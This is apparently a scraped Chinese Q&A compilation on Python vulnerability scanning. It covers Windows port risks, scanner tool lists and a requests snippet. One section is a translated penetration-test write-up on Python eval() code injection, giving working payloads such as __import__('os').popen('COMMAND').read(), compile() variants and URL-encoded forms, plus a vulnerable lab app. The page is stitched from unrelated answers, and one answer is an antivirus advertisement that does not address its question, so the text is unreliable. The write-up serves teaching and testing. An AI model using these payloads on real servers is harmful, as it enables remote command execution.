python3漏洞扫描器框架

① 渗透测试工程师需要具备哪些知识

渗透测试，是为了证明网络防御按照预期计划正常运行而提供的一种机制。不妨假设，你的公司定期更新安全策略和程序，时时给系统打补丁，并采用了漏洞扫描器等工具，以确保所有补丁都已打上。如果你早已做到了这些，为什么还要请外方进行审查或渗透测试呢？因为，渗透测试能够独立地检查你的网络策略，换句话说，就是给你的系统安了一双眼睛。而且，进行这类测试的，都是寻找网络系统安全漏洞的 人士。如果一些大公司倾向于专 学习这方面的人才，可以去这学习的 ，学员毕业之后可以直接去工作，很有实力

② 请阐述漏洞扫描器的作用并根据如下扫描结果分析该系统存在哪些安全风险，如何加强系统安全

1、漏洞扫描器的作用：把各种安全漏洞集成在一起，自动利用这些安全漏洞对远程主机尝试攻击，从而确定目标主机是否存在这些安全漏洞。漏洞扫描，确定特定服务存在的安全漏洞2、默认情况下windows有很多端口是开放的.在你上网的时候,网络病毒和黑客可以通过这些端口连上你的电脑.135端口漏洞：“冲击波”病毒就是利用RPC漏洞来攻击计算机的。RPC本身在处理通过TCP/IP的消息交换部分有一个漏洞，该漏洞是由于错误地处理格式不正确的消息造成的。该漏洞会影响到RPC与DCOM之间的一个接口，该接口侦听的端口就是135。139端口漏洞：开启139端口虽然可以提供共享服务，但是常常被攻击者所利用进行攻击，比如使用流光、SuperScan等端口扫描工具，可以扫描目标计算机的139端口，如果发现有漏洞，可以试图获取用户名和密码，这是非常危险的。445端口是一个毁誉参半的端口,有了它我们可以在局域网中轻松访问各种共享文件夹或共享打印机,但也正是因为有了它,黑客能通过该端口偷偷共享你的硬盘,甚至会在悄无声息中将你的硬盘格式化掉!在NT技术架构的Windows系统中，有一个系统内置的权限较低的匿名访问账号guest，由于该账号的存在往往会给系统的安全带来危害，比如：别人偷偷把你的guest激活后作为后门账号使用，更隐蔽的是直接克隆成了管理员账号，ADMINISTRATOR密码复杂对上网安全是有益的，会给黑客的直接攻击，提升权限增加难度，有防黑客的意义。黑客入侵的常用手段之一就是试图获得Administrator帐户的密码。1025端口以后Windows动态分配的监听端口（listen port）。匿名接入该端口后，就可获取Windows网络的服务器信息与用户信息等。可匿名获取用户名与服务器信息就意味着入侵者可以轻松地获得攻击服务器的信息。3、如何加强：135、139、445、1025为高危端口开放，应关闭135.139.445、1025等高危端口；GUEST被启用，应禁用GUEST！ADMINISTRATOR无密码或弱口令，应设置复杂的ADMINISTRATOR密码

③ 渗透工程师是做什么的

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渗透测试，是为了证明网络防御按照预期计划正常运行而提供的一种机制。不妨假设，你的公司定期更新安全策略和程序，时时给系统打补丁，并采用了漏洞扫描器等工具，以确保所有补丁都已打上。如果你早已做到了这些，为什么还要请外方进行审查或渗透测试呢？因为，渗透测试能够独立地检查你的网络策略，换句话说，就是给你的系统安了一双眼睛。而且，进行这类测试的，都是寻找网络系统安全漏洞的专业人士。

④ 如何使用python根据接口文档进行接口测试

1，关于requests
requests是python的一个http客户端库，设计的非常简单，专门为简化http测试写的。
2，开发环境
mac下面搭建开发环境非常方便。
sudo easy_install pip
sudo pip install requests

测试下：python命令行
import requests
>>> r = requests.get('', auth=('user', 'pass'))
>>> r.status_code
200
>>> r.headers['content-type']
'application/json; charset=utf8'
>>> r.encoding
'utf-8'
>>> r.text
u'{type:User...'
>>> r.json()
{u'private_gists': 419, u'total_private_repos': 77, ...}

开发工具，之前使用sublime，发现运行报错，不识别table字符。
IndentationError: unindent does not match any outer indentation level

非常抓狂的错误，根本找不到代码哪里有问题了。甚至开始怀疑人生了。
python的这个空格区分代码真的非常让人抓狂。开始怀念有大括号，分号的语言了。
彻底解决办法，直接换个IDE工具。使用牛刀，IDA开发。

直接下载社区版本即可，因为就是写个脚本啥的，没有用到太复杂的框架。

果然效果非常好，直接格式下代码，和java的一样好使，可以运行可以debug。右键直接运行成功。
3，测试接口
没有啥太复杂的，直接使用requests框架即可。
#!/usr/bin/python
# -*- coding: utf-8 -*-

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import requests

#测试网络
def _func(url):
headers = {}
params = {}
req = requests.post(url, headers=headers, params=params)
print(req.text)
if __name__ == '__main__':
url =
_func(url)

4，总结
测试非常重要，尤其是对外的接口出现的漏洞，需要花时间去仔细测试，同时要仔细分析代码。
安全是挺重要的事情，要花时间去琢磨。
python学习还是非常容易学习的，一个小时就能把语法学会。
同时渗透测试，安全扫描的好多工具也是python写的。PyCharm CE版本的开发工具足够强大，能够帮你快速学习python。
如果想快速做点界面的开发，wxPython是非常不错的选择。

⑤ 有没有好用的漏洞扫描工具

1、OpenVAS漏洞扫描工具
OpenVAS漏洞扫描器是一种漏洞分析工具，由于其全面的特性，IT部门可以使用它来扫描服务器和网络设备。
这些扫描器将通过扫描现有设施中的开放端口、错误配置和漏洞来查找IP地址并检查任何开放服务。扫描完成后，将自动生成报告并以电子邮件形式发送，以供进一步研究和更正。
OpenVAS也可以从外部服务器进行操作，从黑客的角度出发，从而确定暴露的端口或服务并及时进行处理。如果您已经拥有一个内部事件响应或检测系统，则OpenVAS将帮助您使用网络渗透测试工具和整个警报来改进网络监控。
2、Nessus漏洞扫描工具
Tenable的Nessus
Professional是一款面向安全专业人士的工具，负责修补程序、软件问题、恶意软件和广告软件删除工具，以及各种操作系统和应用程序的错误配置。
Nessus提供了一个主动的安全程序，在黑客利用漏洞入侵网络之前及时识别漏洞，同时还处理远程代码执行漏洞。
它关心大多数网络设备，包含虚拟、物理和云基础架构。Tenable还被认为是Gartner Peer
Insights在2003年3月之前进行危险性评估的首选方案。
3、Nexpose community
Nexpose community是由Rapid7开发的漏洞扫描工具，它是涵盖了大多数网络检查的开源解决方案。
这个解决方案的多功能性是IT管理员的一个优势，它可以被整合到一个Metaspoit框架中，能够在任何新设备访问网络时检测和扫描设备。
它还可以监控真实世界中的漏洞暴露，最重要的是，它可以进行相应的修复。此外，漏洞扫描程序还可以对威胁进行风险评分，范围在1-1000之间，从而为安全专家在漏洞被利用之前修复漏洞提供了便利。Nexpose目前可免费试用一年。
4、Nikto
Nikto是另一个免费的在线漏洞扫描工具，如Nexpose community。
Nikto可帮助您了解服务器功能，检查其版本，在网络服务器上进行测试以识别威胁和恶意软件的存在，并扫描不同的协议，如https、httpd、http等。
还有助于在短时间内扫描服务器的多个端口，Nikto因其效率和服务器强化功能而受到青睐。
5、Retina
Retina漏洞扫描工具是基于Web的开源软件，从中心位置负责漏洞管理。它的功能包括修补、合规性、配置和报告。
负责数据库、工作站、服务器分析和Web应用程序，完全支持VCenter集成和应用程序扫描虚拟环境;它负责多个平台，提供完整的跨平台漏洞评估和安全性。

⑥ 如何修复Python任意命令执行漏洞

打开腾讯电脑管家——工具箱——修复漏洞，进行漏洞扫描和修复。
建议设置开启自动修复漏洞功能，开启后，电脑管家可以在发现高危漏洞（仅包括高危漏洞，不包括其它漏洞）时，第一时间自动进行修复，无需用户参与，最大程度保证用户电脑安全。尤其适合老人、小孩或计算机初级水平用户使用。开启方式如下：进入电脑管家“修复漏洞”模块—“设置”，点击开启自动修复漏洞即可。

⑦ 如何使用python查找网站漏洞

如果你的Web应用中存在Python代码注入漏洞的话，攻击者就可以利用你的Web应用来向你后台服务器的Python解析器发送恶意Python代码了。这也就意味着，如果你可以在目标服务器中执行Python代码的话，你就可以通过调用服务器的操作系统的指令来实施攻击了。通过运行操作系统命令，你不仅可以对那些可以访问到的文件进行读写操作，甚至还可以启动一个远程的交互式Shell(例如nc、Metasploit和Empire)。
为了复现这个漏洞，我在最近的一次外部渗透测试过程中曾尝试去利用过这个漏洞。当时我想在网上查找一些关于这个漏洞具体应用方法的信息，但是并没有找到太多有价值的内容。在同事Charlie Worrell(@decidedlygray)的帮助下，我们成功地通过Burp POC实现了一个非交互式的shell，这也是我们这篇文章所要描述的内容。
因为除了Python之外，还有很多其他的语言(例如Perl和Ruby)也有可能出现代码注入问题，因此Python代码注入属于服务器端代码注入的一种。实际上，如果各位同学和我一样是一名CWE的关注者，那么下面这两个CWE也许可以给你提供一些有价值的参考内容：
1. CWE-94：代码生成控制不当(‘代码注入’)2. CWE-95：动态代码评估指令处理不当(‘Eval注入’)漏洞利用
假设你现在使用Burp或者其他工具发现了一个Python注入漏洞，而此时的漏洞利用Payload又如下所示：
eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那么你就可以使用下面这个Payload来在目标主机中实现操作系统指令注入了：
eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))实际上，你甚至都不需要使用for循环，直接使用全局函数“__import__”就可以了。具体代码如下所示：
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其实我们的Payload代码还可以更加简洁，既然我们已经将import和popen写在了一个表达式里面了，那么在大多数情况下，你甚至都不需要使用compile了。具体代码如下所示：
__import__('os').popen('COMMAND').read()
为了将这个Payload发送给目标Web应用，你需要对其中的某些字符进行URL编码。为了节省大家的时间，我们在这里已经将上面所列出的Payload代码编码完成了，具体如下所示：
param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下来，我们将会给大家介绍关于这个漏洞的细节内容，并跟大家分享一个包含这个漏洞的Web应用。在文章的结尾，我将会给大家演示一款工具，这款工具是我和我的同事Charlie共同编写的，它可以明显降低你在利用这个漏洞时所花的时间。简而言之，这款工具就像sqlmap一样，可以让你快速找到SQL注入漏洞，不过这款工具仍在起步阶段，感兴趣的同学可以在项目的GitHub主页[传送门]中与我交流一下。
搭建一个包含漏洞的服务器
为了更好地给各位同学进行演示，我专门创建了一个包含漏洞的Web应用。如果你想要自己动手尝试利用这个漏洞的话，你可以点击这里获取这份Web应用。接下来，我们要配置的就是Web应用的运行环境，即通过pip或者easy_install来安装web.py。它可以作为一台独立的服务器运行，或者你也可以将它加载至包含mod_wsgi模块的Apache服务器中。相关操作指令如下所示：
git clone https://github.com/sethsec/PyCodeInjection.gitcd VulnApp
./install_requirements.sh
python PyCodeInjectionApp.py
漏洞分析
当你在网上搜索关于python的eval()函数时，几乎没有文章会提醒你这个函数是非常不安全的，而eval()函数就是导致这个Python代码注入漏洞的罪魁祸首。如果你遇到了下面这两种情况，说明你的Web应用中存在这个漏洞：
1. Web应用接受用户输入(例如GET/POST参数，cookie值);2. Web应用使用了一种不安全的方法来将用户的输入数据传递给eval()函数(没有经过安全审查，或者缺少安全保护机制);下图所示的是一份包含漏洞的示例代码：
\
大家可以看到，eval()函数是上述代码中唯一一个存在问题的地方。除此之外，如果开发人员直接对用户的输入数据(序列化数据)进行拆封的话，那么Web应用中也将会出现这个漏洞。
不过需要注意的是，除了eval()函数之外，Python的exec()函数也有可能让你的Web应用中出现这个漏洞。而且据我所示，现在很多开发人员都会在Web应用中不规范地使用exec()函数，所以这个问题肯定会存在。
自动扫描漏洞
为了告诉大家如何利用漏洞来实施攻击，我通常会使用扫描器来发现一些我此前没有见过的东西。找到之后，我再想办法将毫无新意的PoC开发成一个有意义的exploit。不过我想提醒大家的是，不要过度依赖扫描工具，因为还很多东西是扫描工具也找不到的。
这个漏洞也不例外，如果你在某个Web应用中发现了这个漏洞，那么你肯定使用了某款自动化的扫描工具，比如说Burp Suite Pro。目前为止，如果不使用类似Burp Suite Pro这样的专业扫描工具，你几乎是无法发现这个漏洞的。
当你搭建好测试环境之后，启动并运行包含漏洞的示例应用。接下来，使用Burp Suite Pro来对其进行扫描。扫描结果如下图所示：
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下图显示的是Burp在扫描这个漏洞时所使用的Payload：
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我们可以看到，Burp之所以要将这个Web应用标记为“Vulnerable”(包含漏洞的)，是因为当它将这个Payload发送给目标Web应用之后，服务器的Python解析器休眠了20秒，响应信息在20秒之后才成功返回。但我要提醒大家的是，这种基于时间的漏洞检查机制通常会存在一定的误报。
将PoC升级成漏洞利用代码
使用time.sleep()来验证漏洞的存在的确是一种很好的方法。接下来，为了执行操作系统指令并接收相应的输出数据，我们可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()这几个函数。当然了，应该还有很多其他的函数同样可以实现我们的目标。
因为eval()函数只能对表达式进行处理，因此Burp Suite Pro的Payload在这里使用了compile()函数，这是一种非常聪明的做法。当然了，我们也可以使用其他的方法来实现，例如使用全局函数“__import__”。关于这部分内容请查阅参考资料：[参考资料1][参考资料2]
下面这个Payload应该可以适用于绝大多数的场景：
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# Example with one expression
__import__('os').popen('COMMAND').read()
# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要执行一个或多个语句，那么你就需要使用eval()或者compile()函数了。实现代码如下所示：
# Examples with one expression
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的测试过程中，有时全局函数“__import__”会不起作用。在这种情况下，我们就要使用for循环了。相关代码如下所示：
eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的参数是一个GET参数，那么你就可以直接在浏览器中利用这个漏洞了：
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请注意：虽然浏览器会帮你完成绝大部分的URL编码工作，但是你仍然需要对分号(%3b)和空格(%20)进行手动编码。除此之外，你也可以直接使用我们所开发的工具。
如果是POST参数的话，我建议各位直接使用类似Burp Repeater这样的工具。如下图所示，我在subprocess.check_output()函数中一次性调用了多个系统命令，即pwd、ls、-al、whoami和ping。
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漏洞利用工具-PyCodeInjectionShell
你可以直接访问PyCodeInjectionShell的GitHub主页获取工具源码，我们也提供了相应的工具使用指南。在你使用这款工具的过程中会感觉到，它跟sqlmap一样使用起来非常的简单。除此之外，它的使用方法跟sqlmap基本相同。

⑧ 黑客与逆向工程师的Python编程之道的简介

我为了进行黑客技术研究而特地学习了Python这门语言，我敢断言在这个领域中的众多其他同行们也是如此。我曾经花费了大量的时间来寻找一种能够同时适用于黑客技术和逆向工程领域的编程语言，就在几年前，Python成为了黑客编程领域内显而易见的王者。而一个不尽人如意的事实是，到目前为止还没有一本真正意义上的参考手册，来指导你将Python应用于不同的黑客技术场景中。你往往需要游走于各大论坛的技术讨论帖子中或者各种工具手册中。有时为了使你的工具能够正确地运转起来，花费一番不小的功夫来阅读和调试源代码也是司空见惯的情况。而本书正是致力于填补这方面的空缺，将引领你经历一次“旋风”之旅——你将看到Python这门语言是如何被应用在各式各样的黑客技术与逆向工程场景中的。
本书将向你揭示隐藏在各种黑客工具背后的原理机制，其中包括：调试器、后门技术、Fuzzer、仿真器以及代码注入技术，本书将向你一 一演示如何驾驭这些技术工具。除了学到如何使用现有的基于Python的工具之外， 你还将学习如何使用Python构建自己的工具。需要有言在先的一点就是，这并不是一本大全式的参考手册！有大量使用Python编写的信息安全类工具未在此书中被提及。本书的信条是授之以渔，而非授之以鱼！你应当把从本书中所获得的技能灵活地应用于其他的场景中，根据自身的需求对你选择的其他Python工具进行调试，并做出扩展和定制。
阅读本书的方式不仅限于一种，如果你是个Python新手或者对于构建黑客工具尚感陌生，那么从前往后依次阅读对你来说是最好的选择，你将从最基本的理论开始，并在阅读本书的过程中编写相当数量的Python代码。当你阅读完本书时，你应当具备了自行解决各种黑客或逆向工程任务的能力。如果你对Python已有一定程度的了解，并且对Ctype库的使用驾轻就熟，那么不妨直接跳过第1章。对于那些行业浸沉已久的老手，相信你们可以在本书中来回穿梭自如，欢迎你们在日常工作中随时按需撷取本书中的代码片段或者相关章节。
本书在调试器相关的内容上花费了相当的篇幅，从第2章讲述调试器的基本原理开始，直至第5章介绍完Immunity Debugger为止。调试器对于任何一个真正的黑客而言都是至关重要的工具，因此我毫不吝惜笔墨来对它们进行广泛而全面的介绍。在之后的第6章和第7章中你将学到一些钩子和代码注入的技术，这些技术同样可以被调试器工具采用，作为控制程序流和操纵内存的手段。
本书接下来的焦点放在使用Fuzzer工具来攻破应用程序体系上。在第8章中，你将开始学习基本的Fuzzing技术理论，我们将构建自己的文件Fuzzing工具。第9章将向你演示如何驾驭强大的Fuzzing框架——Sulley来攻破一个现实世界中的FTP daemon程序。在第10章中，你将学习如何构建一个Fuzzer工具来攻击Windows驱动。
在第11章中，你将看到如何在IDA Pro中（一款流行的二进制静态分析工具）实现自动化执行静态分析任务。在第12章中，我们将介绍一款基于Python的仿真器——PyEmu，来为本书画上句号。
我试着使出现在本书中的代码尽量简洁，并在某些特定的地方加上了详细的注释以帮助你理解代码的本质。学习一门新的编程语言或者掌握一套陌生的函数库的过程少不了你自己的亲身实践，以及不断的自我纠正。

⑨ 如何用Python实现扫描网站的备份文件

config.txt是配置文件
url.txt是要扫描的url
内部配置相关的常见编辑器漏洞和svn源码泄露漏洞
多线程运行
程序的思路是先检测漏洞，在扫描备份，文件结果自动保存在当前目录！

⑩ web漏洞扫描工具有哪些

1、Nexpose：跟其他扫描工具不同的是，它的功能十分强大，可以更新漏洞数据库，也可以看出哪些漏洞可以被Metasploit Exploit，可以生成非常详细、强大的Report，涵盖了很多统计功能和漏洞的详细信息。
2、OpenVAS：类似Nessus的综合型漏洞扫描器，可以用来识别远程主机、Web应用存在的各种漏洞，它使用NVT脚本对剁成远程系统的安全问题进行检测。
3、WebScarab：可以分析使用HTTP和HTTPS协议进行通信的应用程序，它可以简单记录观察的会话且允许操作人员以各种方式进行查看。
4、WebInspect：是一款强大的Web应用程序扫描程序，有助于确认Web应用中已知和未知的漏洞，还可以检查一个Web服务器是否正确配置。
5、Whisker/libwhisker：是一个Perla工具，适合于HTTP测试，可以针对许多已知的安全漏洞，测试HTTP服务器，特别是检测危险CGI的存在。
6、Burpsuite：可以用于攻击Web应用程序的集成平台，允许一个攻击者将人工和自动的技术进行结合，并允许将一种工具发现的漏洞形成另外一种工具的基础。
7、Wikto：是一个Web服务器评估工具，可以检查Web服务器中的漏洞，并提供与Nikto一样的很多功能，但增加了许多有趣的功能部分。
8、Watchfire AppScan：是一款商业类的Web漏洞扫描程序，简化了部件测试和开发早期的安全保证，可以扫描许多常见的漏洞，如跨站脚本攻击、HTTP响应拆分漏洞、参数篡改、隐式字段处理、后门/调试选项、缓冲区溢出等等。
9、N-Stealth：是一款商业级的Web服务器安全扫描程序，主要为Windows平台提供扫描，但并不提供源代码。